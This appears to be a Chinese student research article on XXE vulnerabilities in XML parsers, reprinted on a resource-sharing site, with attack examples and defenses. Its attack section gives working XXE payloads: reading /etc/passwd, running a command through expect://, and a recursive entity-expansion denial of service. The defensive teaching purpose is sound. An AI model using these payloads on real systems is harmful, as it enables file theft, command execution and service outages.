标题 | XXE漏洞及其防御策略研究 |
范文 | 应宗浩 金海 摘要:XXE漏洞是近年来产生的影响比较大的漏洞之一,能够任意读取文件,远程执行命令,造成拒绝服务攻击等。该文通过xxe漏洞背景介绍,给出相应的攻击手段,并提出防御策略,以期能够引起人们对xxe漏洞的重视,并加强相关方面的安全开发工作。 关键词:XXE;漏洞;攻击手段;防御策略 XML是用于标记电子文件使其具有结构性的标记语言,允许用户对自己的标记语言进行定义。Web端,移动端,云端等客户端技术使用XML向业务应用程序发送消息。为了使应用程序使用自定义的XML消息,应用程序必须去解析XML文档并检查格式是否正确。 较早的或配置错误的XML处理器无法准确评估XML文件中的外部实体引用。攻击者可以利用外部实体发动攻击。此种攻击行为称之为XXE(XML Enternal Entity Injection),即XML外部实体注入攻击。 1 XML基础 XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 以下是一个典型xml文档 <?xml version="1.0"?> <!—xml声明—> <!DOCTYPE note [<!—DTD文档类型定义,定义此文档是 note 类型的文档> <!ELEMENT note (head,body)><!定义note元素有四个元素> <!ELEMENT head (#PCDATA)><!定义head元素为”#PCDATA”类型> <!ELEMENT body (#PCDATA)><!定义body元素为”#PCDATA”类型>]> You are a good man<!—文档元素> DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。XXE漏洞关注的是外部实体引用,外部实体引用的代码如下: <!ENTITY 实体名称 SYSTEM "URI"> 2 xxe典型攻击手段 2.1 任意读取文件 <!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]> 代码可以读取/etc/passwd,file部分可以替换任意文件路径,使得攻击者能够任意读取文件。 2.2 执行系统命令 <!DOCTYPEmytest [<!ELEMENT name ANY > <!ENTITY mytest SYSTEM "expect://id" >]> 该代码能够在服務器上执行“id”命令,”id”命令可以替换为其他系统命令,通过执行系统命令. 2.3 拒绝服务攻击 <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> &a4; 该代码通过创建一项递归的 XML 定义,构造恶意的XML实体文件耗尽可用内存,造成拒绝服务攻击。 3 XXE防御策略 大部分XML解析器无法正确解析xxe攻击中的实体。因此可以配置XML处理器去使用本地静态的DTD,不允许XML中含有自声明的DTD。可以使用开发语言提供的禁用外部实体的方法,从而避免基于XXE漏洞的攻击。 另外,升级libxml版本至2.9.0,libxml 2.9.0 以后默认不解析外部实体,也可以通过升级libxml版本进行xxe防御。 参考文献: [1]开放式Web应用程序安全项目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201. [2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923. [3]丁跃潮,张涛.XML实用教程[M].北京:北京大学出版社,2006. [4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303. 作者简介:应宗浩(1997),男,浙江温州人,本科在读,研究方向:信息安全,物联网安全。 |
随便看 |
|
科学优质学术资源、百科知识分享平台,免费提供知识科普、生活经验分享、中外学术论文、各类范文、学术文献、教学资料、学术期刊、会议、报纸、杂志、工具书等各类资源检索、在线阅读和软件app下载服务。